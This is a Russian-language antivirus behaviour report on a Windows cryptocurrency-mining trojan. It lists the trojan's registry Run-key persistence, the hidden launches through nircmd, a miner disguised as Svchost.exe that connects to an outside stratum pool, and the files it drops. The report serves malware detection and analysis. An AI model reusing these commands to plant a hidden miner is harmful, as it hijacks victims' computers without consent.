Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'miner' = '"%APPDATA%\agency\nircmd.exe" exec hide "%APPDATA%\agency\begin.bat"'
Вредоносные функции:
Создает и запускает на исполнение:
- '%APPDATA%\agency\nircmd.exe' exec hide "%APPDATA%\agency\Svchost.exe" -o stratum+tcp://global.wemineltc.com:3334 -u Trevor.Work2 -p xxx -I 13
- '%APPDATA%\agency\Svchost.exe' -o stratum+tcp://global.wemineltc.com:3334 -u Trevor.Work2 -p xxx -I 13
- '%APPDATA%\agency\nircmd.exe' exec hide "%APPDATA%\agency\inst.bat"
- '%APPDATA%\agency\nircmd.exe' exec hide "%APPDATA%\agency\begin.bat"
Запускает на исполнение:
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\agency\begin.bat""
- '<SYSTEM32>\reg.exe' add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "miner" /d "\"%APPDATA%\agency\nircmd.exe\" exec hide \"%APPDATA%\agency\begin.bat\"" /f
- '<SYSTEM32>\cmd.exe' /c ""%APPDATA%\agency\inst.bat""
Изменения в файловой системе:
Создает следующие файлы:
- %APPDATA%\agency\ssleay32.dll
- %APPDATA%\agency\Svchost.exe
- %APPDATA%\agency\poclbm130302.cl
- %APPDATA%\agency\scrypt130511.cl
- %APPDATA%\agency\cgminer-nogpu.exe
- %APPDATA%\agency\inst.bat
- %APPDATA%\agency\zlib1.dll
- %APPDATA%\agency\begin.bat
- %APPDATA%\agency\phatk121016.cl
- %APPDATA%\agency\libidn-11.dll
- %APPDATA%\agency\librtmp.dll
- %APPDATA%\agency\libcurl-4.dll
- %APPDATA%\agency\libeay32.dll
- %APPDATA%\agency\miner.php
- %APPDATA%\agency\nircmd.exe
- %APPDATA%\agency\libssh2.dll
- %APPDATA%\agency\libusb-1.0.dll
Другое:
Ищет следующие окна:
- ClassName: 'Indicator' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
